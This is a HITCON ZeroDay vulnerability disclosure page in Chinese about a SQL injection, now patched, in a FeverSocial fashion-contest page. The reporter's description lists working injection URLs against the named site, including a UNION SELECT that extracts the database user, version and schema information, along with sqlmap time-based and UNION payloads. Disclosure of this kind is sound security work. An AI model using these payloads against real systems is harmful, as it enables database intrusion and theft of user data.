2017時尚鬥艷伸展台競賽

Vulnerability Overview

ZDID: ZD-2017-00814
發信 Vendor: FeverSocial Limited
Title: 2017時尚鬥艷伸展台競賽
Introduction: SQL injection

處理狀態

目前狀態

公開

Last Update : 2017/12/03

新提交
已審核
已通報
已修補
已複測
公開

處理歷程

2017/10/05 04:04:59 : 新提交 (由　更新此狀態)
2017/10/07 01:32:54 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/10/09 13:08:21 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/10/09 13:08:23 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/11/27 18:04:44 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/11/29 23:35:06 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/11/29 23:35:16 : 確認已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/12/03 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2017-00814
通報者：Pushhh (　)
風險：中
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

滑FB看到模特兒走秀競賽...嘿嘿（誤

https://www.feversocial.com/works-118956?serialno=1'

https://www.feversocial.com/works-118956?serialno=1 order by 15-- -

https://www.feversocial.com/works-118956?serialno=-1%20union%20select%201,2,3,4,(SELECT+CONCAT(COUNT(schema_name),0x202f20446174616261736573)+FROM+INFORMATION_SCHEMA.SCHEMATA),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),@@datadir,8,9,10,11,12,13,14,15--%20-

然後開sqlmap掃一下好像有點落漆，變換了一下才成功~_~

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: serialno (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: serialno=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 AND SLEEP(5)-- DYXI

    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: serialno=-3971 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a787071,0x747a735a735966706f4f6c4652536c6b4f4453624a6673564667647a785279717963426a48464f47,0x71627a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- enxl

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

2017時尚鬥艷伸展台競賽 - HITCON ZeroDay

Vulnerability Detail Report